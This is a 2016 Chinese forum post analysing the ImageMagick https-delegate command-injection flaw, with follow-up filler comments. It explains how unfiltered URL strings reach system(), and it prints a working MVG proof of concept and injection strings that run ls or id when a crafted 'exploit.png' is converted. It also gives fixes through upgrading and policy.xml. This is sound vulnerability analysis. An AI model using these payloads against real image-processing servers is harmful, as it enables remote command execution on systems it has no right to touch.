技术控

    今日:75| 主题:49270
收藏本版 (1)
最新软件应用技术尽在掌握

[其他] ImageMagick命令执行漏洞浅析

[复制链接]
金大牙 发表于 2016-10-3 14:19:16
300 16

立即注册CoLaBug.com会员,免费获得投稿人的专业资料,享用更多功能,玩转个人品牌!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。
  由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。
  0x01 漏洞描述

  ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。
  0x02 影响程度

  攻击成本:低
  危害程度:高
  影响范围:ImageMagick 6.9.3-9以前的所有版本
  0x03 漏洞分析

  命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。
  ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。
   ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml
   具体代码请参考: Github-ImageMagick
  我们定位到https委托得那一行:
  [code]" "
[/code]   可以看到,command定义了它对于https文件处理时带入system()函数得命令: "wget" -q -O "%o" "https:%M"。
   wget 是从网络下载文件得命令, %M 是一个占位符,它得具体定义在配置文件中如下:
  [code]%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution
[/code]   可以看到%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,所以我们可以将引号闭合后通过 "|" ,”`”,”&”等带入其他命令,也就形成了命令注入。
  比如我们传入如下代码:
   https://test.com"|ls “-al
  则实际得system函数执行得命令为:
   “wget” -q -O “%o” “ https://test.com"|ls “-al”
  这样,ls -al命令成功执行。
  0x04 漏洞利用

  这个漏洞得poc由老外给出得,如下:
  [code]push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
[/code]  
       
  • push和pop是用于堆栈的操作,一个进栈,一个出栈;   
  • viewbox是表示 SVG 可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;   
  • fill url()是把图片填充到当前元素内;  
  在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。
   附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。
  利用过程:

  
       
  • 创建一个exploit.png文件,包含以下内容:
    [code]push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://test.com/image.jpg"|ls "-al)'
    pop graphic-context
    [/code]   
  •   执行命令: convert exploit.png 1.png (后面的是convert的参数)
      
   
ImageMagick命令执行漏洞浅析-1 (程序开发,图片处理,服务器,开发者,成本)


ImageMagick命令执行漏洞浅析-2 (程序开发,图片处理,服务器,开发者,成本)

  0x05 漏洞修复

  
       
  • 升级到最新版本   
  • 配置 /etc/ImageMagick/policy.xml 的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate  
  [code]






[/code]
友荐云推荐




上一篇:【技术分享】一探小米Analytics后门
下一篇:微信小程序版简易计算器
酷辣虫提示酷辣虫禁止发表任何与中华人民共和国法律有抵触的内容!所有内容由用户发布,并不代表酷辣虫的观点,酷辣虫无法对用户发布内容真实性提供任何的保证,请自行验证并承担风险与后果。如您有版权、违规等问题,请通过"联系我们"或"违规举报"告知我们处理。

lpvqqfwa 发表于 2016-10-3 17:44:05
我擦!我要沙发!
回复 支持 反对

使用道具 举报

楚臻婷 发表于 2016-10-10 05:16:07
路过 帮顶 嘿嘿
回复 支持 反对

使用道具 举报

sunshine_wy 发表于 2016-10-14 18:07:54
我喜欢的女孩要像黛玉一样有才气,像宝钗一样懂事,像可卿一样漂亮,像湘云一样豪爽,像李纨一样忠贞,像探春一样能干,像凤姐一样精明,还要像元春一样有福气,呵呵……
回复 支持 反对

使用道具 举报

vivienchen 发表于 2016-10-20 02:45:02
不要在意我,我只是个小尾巴。
回复 支持 反对

使用道具 举报

范佑丹 发表于 2016-10-20 05:16:39
也许似乎大概是,然而未必不见得。
回复 支持 反对

使用道具 举报

chenshaos 发表于 2016-10-20 12:07:49
刚起床,睁开眼就看到楼主的帖子了,顶一下!
回复 支持 反对

使用道具 举报

逃上岸的鱼 发表于 2016-10-24 11:44:16
就算是一坨屎,也有遇见屎壳郎的那天。所以你大可不必为今天的自己有太多担忧。
回复 支持 反对

使用道具 举报

仟壹视讯-林松 发表于 2016-10-24 13:25:31
楼下的小伙伴,速度跟上!
回复 支持 反对

使用道具 举报

幸福是个哑巴 发表于 2016-10-24 14:27:11
生,容易.活,容易.生活,不容易.
回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

我要投稿

推荐阅读

扫码访问 @iTTTTT瑞翔 的微博
回页顶回复上一篇下一篇回列表手机版
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 )|网站地图 酷辣虫

© 2001-2016 Comsenz Inc. Design: Dean. DiscuzFans.

返回顶部 返回列表